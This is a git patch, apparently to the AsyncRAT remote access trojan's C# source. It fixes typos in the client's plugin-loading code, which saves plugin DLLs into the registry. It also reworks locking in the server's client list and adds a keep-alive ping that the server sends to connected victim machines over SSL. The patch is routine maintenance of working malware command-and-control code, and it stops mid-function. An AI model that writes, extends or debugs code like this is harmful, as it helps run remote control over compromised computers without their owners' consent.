From 468a9b8e7db96f20ccfa9d13907eb14ff82432f3 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Mon, 7 Oct 2019 11:04:39 +0300 Subject: [PATCH] Update --- AsyncRAT-C#/Client/Handle Packet/Packet.cs | 4 +-- AsyncRAT-C#/Server/Connection/Clients.cs | 26 +++++++++++++++++-- AsyncRAT-C#/Server/Forms/Form1.cs | 29 +++++++++++----------- 3 files changed, 40 insertions(+), 19 deletions(-) diff --git a/AsyncRAT-C#/Client/Handle Packet/Packet.cs b/AsyncRAT-C#/Client/Handle Packet/Packet.cs index a342ef6..231fd03 100644 --- a/AsyncRAT-C#/Client/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Client/Handle Packet/Packet.cs @@ -44,7 +44,7 @@ namespace Client.Handle_Packet case "savePlugin": // save plugin as MD5:Base64 { SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").AsString); - Debug.WriteLine("plguin saved"); + Debug.WriteLine("plugin saved"); break; } @@ -56,7 +56,7 @@ namespace Client.Handle_Packet if (SetRegistry.GetValue(plugin) == null) { plugins.Add(plugin); - Debug.WriteLine("plguin not found"); + Debug.WriteLine("plugin not found"); } } if (plugins.Count > 0) diff --git a/AsyncRAT-C#/Server/Connection/Clients.cs b/AsyncRAT-C#/Server/Connection/Clients.cs index 6a0e830..3077dfb 100644 --- a/AsyncRAT-C#/Server/Connection/Clients.cs +++ b/AsyncRAT-C#/Server/Connection/Clients.cs @@ -26,11 +26,12 @@ namespace Server.Connection private int ClientBuffersize { get; set; } private bool ClientBufferRecevied { get; set; } private MemoryStream ClientMS { get; set; } - public object SendSync { get; } = new object(); + public object SendSync { get; set; } public long BytesRecevied { get; set; } public Clients(Socket socket) { + SendSync = new object(); TcpClient = socket; SslClient = new SslStream(new NetworkStream(TcpClient, true), false); SslClient.BeginAuthenticateAsServer(Settings.ServerCertificate, false, SslProtocols.Tls, false, EndAuthenticate, null); @@ -122,7 +123,7 @@ namespace Server.Connection { if (LV != null) { - Program.form1.BeginInvoke((MethodInvoker)(() => + Program.form1.Invoke((MethodInvoker)(() => { try { @@ -268,5 +269,26 @@ namespace Server.Connection } } + public void KeepAlivePacket(object o) + { + lock (SendSync) + { + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping"; + msgpack.ForcePathObject("Message").AsString = "This is a ping!"; + byte[] buffer = msgpack.Encode2Bytes(); + byte[] buffersize = BitConverter.GetBytes(buffer.Length); + SslClient.Write(buffersize, 0, buffersize.Length); + SslClient.Write(buffer, 0, buffer.Length); + SslClient.Flush(); + } + catch + { + Disconnected(); + } + } + } } } diff --git a/AsyncRAT-C#/Server/Forms/Form1.cs b/AsyncRAT-C#/Server/Forms/Form1.cs index 69ea3aa..28223e7 100644 --- a/AsyncRAT-C#/Server/Forms/Form1.cs +++ b/AsyncRAT-C#/Server/Forms/Form1.cs @@ -69,43 +69,42 @@ namespace Server MessageBox.Show(ex.Message, "AsyncRAT", MessageBoxButtons.OK, MessageBoxIcon.Error); } } - - private Clients[] GetSelectedClients() { - lock (Settings.LockListviewClients) + + List clientsList = new List(); + Invoke((MethodInvoker)(() => { - List clientsList = new List(); - Invoke((MethodInvoker)(() => + lock (Settings.LockListviewClients) { if (listView1.SelectedItems.Count == 0) return; foreach (ListViewItem itm in listView1.SelectedItems) { clientsList.Add((Clients)itm.Tag); } - })); - return clientsList.ToArray(); - } + } + })); + return clientsList.ToArray(); } private Clients[] GetAllClients() { - lock (Settings.LockListviewClients) + + List clientsList = new List(); + Invoke((MethodInvoker)(() => { - List clientsList = new List(); - Invoke((MethodInvoker)(() => + lock (Settings.LockListviewClients) { if (listView1.Items.Count == 0) return; foreach (ListViewItem itm in listView1.Items) { clientsList.Add((Clients)itm.Tag); } - })); - return clientsList.ToArray(); - } + } + })); + return clientsList.ToArray(); } - private void Connect() { try